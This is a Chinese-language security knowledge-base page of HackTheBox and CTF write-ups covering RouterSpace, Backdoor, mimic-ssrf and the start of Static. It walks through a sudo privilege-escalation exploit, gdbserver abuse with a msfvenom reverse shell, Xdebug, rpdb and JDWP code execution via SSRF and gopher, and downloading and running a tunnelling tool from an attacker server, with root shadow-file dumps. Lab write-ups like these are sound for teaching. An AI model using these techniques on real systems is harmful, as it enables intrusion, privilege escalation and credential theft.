┌──(root💀kali)-[~/hackthebox/machine/routerspace]
└─# scp /root/CVE-2021-3156/* paul@routerspace.htb:/tmp
Dockerfile                                                                                           100%  332     0.6KB/s   00:00    
exploit.c                                                                                            100% 2048     5.5KB/s   00:00    
Makefile                                                                                             100%  208     0.5KB/s   00:00    
README.md                                                                                            100%  692     1.8KB/s   00:00    
shellcode.c                                                                                          100%  599     0.6KB/s   00:01
```

``` bash
paul@routerspace:/tmp$ ls
Dockerfile
exploit.c
Makefile
README.md
shellcode.c
systemd-private-ce8a66be98884ec6bcd1e177a21dbfa2-fwupd.service-e7Lv0g
systemd-private-ce8a66be98884ec6bcd1e177a21dbfa2-systemd-logind.service-riCz1g
systemd-private-ce8a66be98884ec6bcd1e177a21dbfa2-systemd-resolved.service-j9u8li
systemd-private-ce8a66be98884ec6bcd1e177a21dbfa2-systemd-timesyncd.service-CpPRlf
systemd-private-ce8a66be98884ec6bcd1e177a21dbfa2-upower.service-UK0Vmf
vmware-root_686-2689274894
paul@routerspace:/tmp$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
paul@routerspace:/tmp$ chmod 777 exploit
paul@routerspace:/tmp$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root),1001(paul)
# whoami
root
# cat /root/root.txt
ddca6138a81531490f586e3b6dddb728
# cat /etc/shadow | grep root
root:$6$lw6PWI9kEABNZiKm$UoysFK0xDZgFk828w.7t30d8iRi6Qxv9xTkwvjJPRRxJvFQwTOkjvUq5y4OUO/LYV8KlqORQ4kolNeDfGFQd5.:18956:0:99999:7:::
```

With our new shell, we can grab root.txt from /root/root.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2170.jpg)


#### Summary of knowledge

 - apk decompile
 - command injection write ssh authorized_keys
 - CVE-2021-3156 privesclation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end routerspace -->

</details>




# 调试协议与服务暴露

调试功能本来就具备读取状态或执行表达式的能力，风险取决于谁能到达这些接口。本章并列 gdbserver、Xdebug、rpdb、JDWP 和 PHP-FPM 的原实验，保留协议格式、端口和触发时机。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/debug/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Backdoor 先用文件读取定位进程，再连接 gdbserver。

Mimic-SSRF 的三种语言分别使用自己的调试协议，断点和回连方向都随记录呈现。

Static 的备份修复、OTP、Xdebug 与 ersatool 分支保留完整上下文。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [进程文件读取与 gdbserver](#case-backdoor) | backdoor | LFI、gdbserver、SUID |
| [三个语言运行时的调试协议](#case-mimic-ssrf) | mimic-ssrf | SSRF、Xdebug、rpdb、JDWP |
| [损坏备份、OTP 与 Xdebug](#case-static) | static | Xdebug、PHP-FPM、2FA、PATH |

<a id="case-backdoor"></a>

## 进程文件读取与 gdbserver

ebook-download 文件读取用于定位 1337 端口对应进程，gdbserver 提供执行入口，screen 的 SUID 会话成为后续提权点。

<p class="kb-provenance">来源 backdoor · 原记录 2021-11-22 · 9 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-backdoor">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start backdoor -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	20 Nov 2021
IP:	10.10.11.125

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2102.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/backdoor]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.125
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
```

#### User
==================

1. Find the PID for port 1337 (use burp intruder or wfuzz)

``` bash
wfuzz -u 'http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000
```

2. You will see something like this, confirming gdbserver is running on port 1337

``` bash
while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"
```

3. create a payload

``` bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=4444 -f elf -o rev.elf
```

4. Run gdb on localhost and then run the following commands

``` bash
target extended-remote 10.10.11.125:1337
remote put luci.elf luci.elf
set remote exec-file /home/user/luci.elf
show remote exec-file
b main
run
```

wait a second till stacked at main function, this should give shell as "user"

``` bash
┌──(root💀kali)-[~/hackthebox/machine/backdoor]
└─# nc -lvp 4444                                                                                                        
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.125.
Ncat: Connection from 10.10.11.125:37606.
id
whoami
uid=1000(user) gid=1000(user) groups=1000(user)
user
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 3: python: not found
whoami
user
python3 -c 'import pty; pty.spawn("/bin/bash")'
user@Backdoor:/home/user$ cat user.txt
cat user.txt
ea3dca075716f407ce28c6c596c7868c
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2103.jpg)

#### Root
================

``` bash
user@Backdoor:/home/user$ find / -perm -4000 -ls 2>/dev/null
find / -perm -4000 -ls 2>/dev/null
    53822     52 -rwsr-xr--   1 root     messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    53829     16 -rwsr-xr-x   1 root     root          14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
    69114     24 -rwsr-xr-x   1 root     root          22840 May 26  2021 /usr/lib/policykit-1/polkit-agent-helper-1
      709    464 -rwsr-xr-x   1 root     root         473576 Jul 23 12:55 /usr/lib/openssh/ssh-keysign
    41373     68 -rwsr-xr-x   1 root     root          68208 Jul 14 22:08 /usr/bin/passwd
    41369     84 -rwsr-xr-x   1 root     root          85064 Jul 14 22:08 /usr/bin/chfn
    41372     88 -rwsr-xr-x   1 root     root          88464 Jul 14 22:08 /usr/bin/gpasswd
    52943     56 -rwsr-sr-x   1 daemon   daemon        55560 Nov 12  2018 /usr/bin/at
    53546     68 -rwsr-xr-x   1 root     root          67816 Jul 21  2020 /usr/bin/su
    53547    164 -rwsr-xr-x   1 root     root         166056 Jan 19  2021 /usr/bin/sudo
    43506     44 -rwsr-xr-x   1 root     root          44784 Jul 14 22:08 /usr/bin/newgrp
    53122     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
    55289    464 -rwsr-xr-x   1 root     root         474280 Feb 23  2021 /usr/bin/screen
    53616     40 -rwsr-xr-x   1 root     root          39144 Jul 21  2020 /usr/bin/umount
    53274     56 -rwsr-xr-x   1 root     root          55528 Jul 21  2020 /usr/bin/mount
    41370     52 -rwsr-xr-x   1 root     root          53040 Jul 14 22:08 /usr/bin/chsh
    69112     32 -rwsr-xr-x   1 root     root          31032 May 26  2021 /usr/bin/pkexec
user@Backdoor:/home/user$ ps -ef | grep -i screen
ps -ef | grep -i screen
root         844     827  0 14:10 ?        00:00:00 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root         957       1  0 14:10 ?        00:00:00 SCREEN -dmS root
user        1976    1674  0 14:16 pts/1    00:00:00 grep --color=auto -i screen
```

SUID set on screen and there is session name root

``` bash
export TERM=xterm
screen -x root/root
```

``` bash
root@Backdoor:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Backdoor:~# whoami
whoami
root
root@Backdoor:~# cd /root
cd /root
root@Backdoor:~# cat root.txt
cat root.txt
70748562960ea59ea79495cc490c2276
root@Backdoor:~# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$2A4weemb9e7Lxqpq$BgE2d0pkAMj0dVN/rtjtxcI3MXZmK1DMrB/m7VG.UNsvxSCnK8uzig3Ys9xYOKMRLehEwmR7oNa96fn5vG0Lc/:18832:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2104.jpg)

#### Summary of knowledge

 - fuzz the PID for port 1337 through wp ebook-download plugin file download
 - get reverse shell through remote debuging gdb server
 - use screen SUID file to privesclation 

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end backdoor -->

</details>

<a id="case-mimic-ssrf"></a>

## 三个语言运行时的调试协议

同一题目分别分析 PHP Xdebug、Python rpdb 和 Java JDWP。gopher、proc 文件、断点与转发路径是三套既有实验的对应证据。

<p class="kb-provenance">来源 mimic-ssrf · 原记录 2022-01-17 · 19 个代码块 · 10 处图片引用</p>

<details class="kb-evidence" id="record-mimic-ssrf">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start mimic-ssrf -->

#### 介绍

本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssrf，借鉴邬江兴院士拟态防御理论设计的mimic-ssrf题目，该题目是个通过ssrf进行RCE的web环境，三种开发语言的debug调试器，代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈，明确的攻击指令会有明确的反馈结果，但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果，不然在拟态的防御机制中，就会被表决失效。

类似于生物界的拟态防御，在网络空间防御领域中，使用拟态技术可极大的提升黑客攻击的难度。

本题内网使用了3种语言所搭建的服务，分别php、python和java，通过ssrf可以访问内网服务，并且服务都是设置debug模式，想办法获取到有用的信息，得到flag。

 - 参考原writeup[【拟态挑战WP】2021年春秋杯秋季赛mimic-ssrf](https://mp.weixin.qq.com/s/oC690DS05zl0NtFIRZxGGg)，原writeup步骤不完整，故重新补充记录



#### 分析

mimic指的是“拟态”，ssrf指的是“由攻击者构造形成由服务端发起请求的安全漏洞”。再由题目描述可知，应该是要通过ssrf暴露远程debug端口，利用三种编程语言的debug调试器进行攻击。

该题以ssrf为入口：

尝试使用file协议读文件ssrf?url=file:///etc/passwd

``` bash
GET /ssrf?url=file:///etc/passwd HTTP/1.1
Host: eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888/
Cookie: __jsluid_h=276004b4e0fd0f6fe3df0d1b6794aede
Upgrade-Insecure-Requests: 1

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
php:x:1000:1000::/home/php:/bin/sh
java:x:1001:1001::/home/java:/bin/sh
python:x:1002:1002::/home/python:/bin/sh
golang:x:1003:1003::/home/golang:/bin/sh
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
```

可以看到成功读到/etc/passwd。

这个时候我们就可以考虑通过对linux下面的proc目录遍历进程，收集有用的信息。

/ssrf?url=file:///proc/§1§/cmdline可以得到大概有四个服务，如下：

 - java服务

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf1.jpg)

 - php服务

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf2.jpg)

 - python服务

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf3.jpg)

根据题目描述可知，本题内网使用了3种语言所搭建的服务，分别php、python和java，接下来就按顺序来分析和利用。

#### php Xdebug RCE

***XDebug是PHP的一个扩展，用于调试PHP代码.我们访问带有XDEBUG_SESSION_START参数时，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数，即可在目标服务器上执行任意PHP代码。***

先读取index.php文件看看有什么信息。

``` bash
GET /ssrf?url=file:///web/php/index.php HTTP/1.1

php
```

php的http服务里面什么都没有，读取php.ini

``` bash
GET /ssrf?url=file:///etc/php/7.2/cli/php.ini HTTP/1.1

[xdebug]
zend_extension = xdebug
xdebug.mode=debug
xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.client_port = 13000
xdebug.start_with_request = trigger
xdebug.discover_client_host = 1
```

可以发现开启了xdebug和相关配置，client_port是13000。

我们可以现在自己的vps执行如下python脚本

 - exp.py

``` bash
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',13000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
```

关于php Xdebug RCE想了解更多可以参考以下文章，及exp脚本：

 - [XDebug 远程调试漏洞（代码执行）](https://store.vsplate.com/cn/post/129/)
 - [xdebug-rce.py](https://vulhub.org/vulhub/php//exp.py)

通过gopher构造get请求的原始数据

``` bash
gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A
```

以上gopher数据url decode之后如下所示

``` bash
gopher://127.0.0.1:7410/_GET /index.php?XDEBUG_SESSION_START HTTP/1.1
Host: 127.0.0.1:7410
User-Agent: curl/7.58.0
Accept: */*
X-Forwarded-For: vps-ip


```

意思是使用gopher协议请求开放在内网的本地7410端口的index.php的XDEBUG_SESSION_START，然后X-Forwarded-For头指向自己vps的地址：vps-ip

使用burp多发几次包即可：

``` bash
GET /ssrf?url=gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A HTTP/1.1
```

vps接着收到了信息；然后可以system("ls /")执行任意代码了。

``` bash
root@vsdfva:~# python2 exp.py 
483<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" fileuri="file:///web/php/index.php" language="PHP" xdebug:language_version="7.2.24-0ubuntu0.18.04.10" protocol_version="1.0" appid="37"><engine version="3.1.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[https://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2021 by Derick Rethans]]></copyright></init>
>> system("ls /")
256<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="3" encoding="base64"><![CDATA[d2Vi]]></property></response>
>> system("id")      
313<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="44" encoding="base64"><![CDATA[dWlkPTEwMDAocGhwKSBnaWQ9MTAwMChwaHApIGdyb3Vwcz0xMDAwKHBocCk=]]></property></response>
>> system("ls / |base64 -w 0")
446<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="144" encoding="base64"><![CDATA[WW1sdUNtSnZiM1FLWkdWMkNtVjBZd3BvYjIxbENtcGhkbUZmWm14aFp3cHNhV0lLYkdsaU5qUUtiV1ZrYVdFS2JXNTBDbTl3ZEFwd2FIQmZabXhoWndwd2NtOWpDbkp2YjNRS2NuVnVDbk5pYVc0S2MzSjJDbk41Y3dwMGJYQUtkWE55Q25aaGNncDNaV0lL]]></property></response>
>> system("cat /php_flag")
273<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="14" encoding="base64"><![CDATA[ZmxhZ3tiY2ZkODkwZi0=]]></property></response>
```

将CDATA中的base64字符串解密即可得到执行命令的结果

``` bash
┌──(root💀kali)-[~]
└─# echo d2Vi |base64 -d                                 
web                                                                                                                                    
┌──(root💀kali)-[~]
└─# echo dWlkPTEwMDAocGhwKSBnaWQ9MTAwMChwaHApIGdyb3Vwcz0xMDAwKHBocCk= |base64 -d
uid=1000(php) gid=1000(php) groups=1000(php)
┌──(root💀kali)-[~]
└─# echo WW1sdUNtSnZiM1FLWkdWMkNtVjBZd3BvYjIxbENtcGhkbUZmWm14aFp3cHNhV0lLYkdsaU5qUUtiV1ZrYVdFS2JXNTBDbTl3ZEFwd2FIQmZabXhoWndwd2NtOWpDbkp2YjNRS2NuVnVDbk5pYVc0S2MzSjJDbk41Y3dwMGJYQUtkWE55Q25aaGNncDNaV0lL |base64 -d|base64 -d
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
root
run
sbin
srv
sys
tmp
usr
var
web
┌──(root💀kali)-[~]
└─# echo ZmxhZ3tiY2ZkODkwZi0= |base64 -d                                    
flag{bcfd890f-
```

同时获取到第一个php的flag

#### python rpdb RCE

***rpdb扩展了pdb，让pdb支持远程调试功能.使用rpdb的python脚本在远程启动，本地通过telnet方式连接上rpdb提供的调试端口（默认端口4444），可以直接执行python代码。***

先读/web/python/app.py

``` bash
GET /ssrf?url=file:///web/python/app.py HTTP/1.1

import os
flag_path="/web/python/python_flag"
fl1l1l1l1laaggg=open(flag_path).read()
os.remove(flag_path)
import rpdb
rpdb.set_trace()
```

发现使用了远程调试器rpdb。

我们可以直接通过gopher协议攻击python把flag写入到/tmp/，然后直接通过file协议读取python flag。

``` bash
GET /ssrf?url=gopher://127.0.0.1:4444/_open("/tmp/python_flag","w").write(fl1l1l1l1laaggg) HTTP/1.1
```

``` bash
GET /ssrf?url=file:///tmp/python_flag HTTP/1.1

621c-4a1f-a466
```

获取到第二个python flag

#### java JDWP RCE

***Java 虚拟机为 Java 语言提供 Java debugger、JDB 调试功能，应用在编译过程中可以开启 Remote Debug 模式，方便程序员远程对代码进行调试。但是，该模式没有身份校验机制，且可执行系统命令***

首先将/web/java/Hello_web.jar下载到本地分析

``` bash
>> system("ls -la /web/java/ |base64 -w 0")
654<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="300" encoding="base64"><![CDATA[ZEc5MFlXd2dNVGM0T1RJS1pISjNlSEl0ZUhJdGVDQXhJR3BoZG1FZ2FtRjJZU0FnSUNBZ05EQTVOaUJPYjNZZ01qUWdNVFU2TkRjZ0xncGtjbmQ0Y2kxNGNpMTRJREVnY205dmRDQnliMjkwSUNBZ0lDQTBNRGsySUU1dmRpQXlOQ0F4TlRvMU1DQXVMZ290Y25jdGNpMHRjaTB0SURFZ2FtRjJZU0JxWVhaaElERTRNekF4TnpNMElFNXZkaUF5TkNBeE5Ub3pNQ0JJWld4c2IxOTNaV0l1YW1GeUNtUnlkM2h5TFhoeUxYZ2dNU0JxWVhaaElHcGhkbUVnSUNBZ0lEUXdPVFlnVG05MklESTBJREUxT2pNNElHcGthekV1T0M0d1h6SXdNZ289]]></property></response>

┌──(root💀kali)-[~]
└─# echo ZEc5MFlXd2dNVGM0T1RJS1pISjNlSEl0ZUhJdGVDQXhJR3BoZG1FZ2FtRjJZU0FnSUNBZ05EQTVOaUJPYjNZZ01qUWdNVFU2TkRjZ0xncGtjbmQ0Y2kxNGNpMTRJREVnY205dmRDQnliMjkwSUNBZ0lDQTBNRGsySUU1dmRpQXlOQ0F4TlRvMU1DQXVMZ290Y25jdGNpMHRjaTB0SURFZ2FtRjJZU0JxWVhaaElERTRNekF4TnpNMElFNXZkaUF5TkNBeE5Ub3pNQ0JJWld4c2IxOTNaV0l1YW1GeUNtUnlkM2h5TFhoeUxYZ2dNU0JxWVhaaElHcGhkbUVnSUNBZ0lEUXdPVFlnVG05MklESTBJREUxT2pNNElHcGthekV1T0M0d1h6SXdNZ289 |base64 -d|base64 -d
total 17892
drwxr-xr-x 1 java java     4096 Nov 24 15:47 .
drwxr-xr-x 1 root root     4096 Nov 24 15:50 ..
-rw-r--r-- 1 java java 18301734 Nov 24 15:30 Hello_web.jar
drwxr-xr-x 1 java java     4096 Nov 24 15:38 jdk1.8.0_202
```

同样先查看源码/web/java/Hello_web.jar，使用jd-gui打开

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf4.jpg)

可以发现是触发了String.equals这个函数。

需要做socket代理(使用frp)

远程搭建一个http服务，让容器下载我们的frp的工具，通过php的shell下载文件，搭建socket隧道

frp服务端及客户端配置可参考下列文章：

 - [frp实现内网穿透(通过设置http代理/Socks代理)](https://iqiqiya.com/posts/f7240e5b.html)

vps开两个终端执行下列命令：

``` bash
root@vsdfva:~# python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
39.105.23.123 - - [17/Jan/2022 03:40:25] "GET /frpc.ini HTTP/1.1" 200 -
39.105.23.123 - - [17/Jan/2022 03:40:34] "GET /frpc HTTP/1.1" 200 -
```

``` bash
root@vsdfva:~# ./frps -c frps.ini
2022/01/17 03:40:01 [I] [service.go:152] frps tcp listen on 0.0.0.0:5699
2022/01/17 03:40:01 [I] [service.go:251] Dashboard listen on 0.0.0.0:7500
2022/01/17 03:40:01 [I] [root.go:205] start frps success
2022/01/17 03:43:03 [I] [service.go:392] [c93dba57a1060eab] client login info: ip [39.105.23.123:3694] version [0.31.1] hostname [] os [linux] arch [amd64]
2022/01/17 03:43:04 [I] [tcp.go:63] [c93dba57a1060eab] [plugin_socks5] tcp proxy listen port [5001]
2022/01/17 03:43:04 [I] [control.go:445] [c93dba57a1060eab] new proxy [plugin_socks5] success
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf5.jpg)

在靶场的php shell中执行下列命令

``` bash
system("curl -L http://vpsip:81/frpc -o /tmp/frpc")

system("curl -L http://vpsip:81/frpc.ini -o /tmp/frpc.ini")

system("chmod 777 /tmp/*")

system("/tmp/frpc -c /tmp/frpc.ini")
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf6.jpg)

然后就是配置好/etc/proxychains.conf之后，再攻击java的debug(proxychains 配置的是自己的socket配置)

 - [jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)

打之后，通过ssrf的接口服务java的web服务即可触发断点，将java flag写入/tmp/java_flag，然后通过文件读取读取java flag

``` bash
┌──(root💀kali)-[~]
└─# echo Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn |base64 -d
cat /java_flag> /tmp/java_flag
┌──(root💀kali)-[~/jdwp-shellifier]
└─# proxychains python2 jdwp-shellifier.py -t 127.0.0.1 -p 20211 --cmd 'bash -c {echo,Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn}|{base64,-d}|{bash,-i}' --break-on 'java.lang.String.equals'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Dynamic chain  ...  45.32.139.236:5001  ...  127.0.0.1:20211  ...  OK
[+] Targeting '127.0.0.1:20211'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.8.0_202'
[+] Found Runtime class: id=11e9
[+] Found Runtime.getRuntime(): id=7f01e800c978
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.equals'
[+] Received matching event from thread 0x12cd
[+] Selected payload 'bash -c {echo,Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn}|{base64,-d}|{bash,-i}'
[+] Command string object created id:12ce
[+] Runtime.getRuntime() returned context id:0x12cf
[+] found Runtime.exec(): id=7f01e8007d48
[+] Runtime.exec() successful, retId=12d0
[!] Command successfully executed
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf7.jpg)

``` bash
GET /ssrf?url=file:///tmp/java_flag HTTP/1.1

-7a3353e9543e}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf8.jpg)

三个flag合并在一起得到最终的flag

``` bash
flag{bcfd890f-621c-4a1f-a466-7a3353e9543e}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssrf9.jpg)

<!-- kb:end mimic-ssrf -->

</details>

<a id="case-static"></a>

## 损坏备份、OTP 与 Xdebug

压缩包修复和 OTP 先恢复入口，Xdebug 与 PHP-FPM 是不同执行路径。后半段 ersatool 的 PATH 和 OpenSSL 行为保留原始验证。

<p class="kb-provenance">来源 static · 原记录 2021-06-26 · 34 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-static">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start static -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	19 Jun 2021
IP:	10.10.10.246

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2006.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# nmap -sV -sC -v -p- --min-rate=10000 10.10.10.246
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
|   256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_  256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
|   256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_  256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries 
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

There are three ports open 22:ssh,2222:ssh(Strange) 8080:http

#### Port-80

Blank Page Strange.

Now let's use gobuster.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# gobuster dir -u http://10.10.10.246:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,txt
===============================================================
/index.php            (Status: 200) [Size: 0]
/robots.txt           (Status: 200) [Size: 55]
```

Found robots.txt let's check it out what directories disallow there.

 - /vpn/

There is a login page and we don't have creads for that.

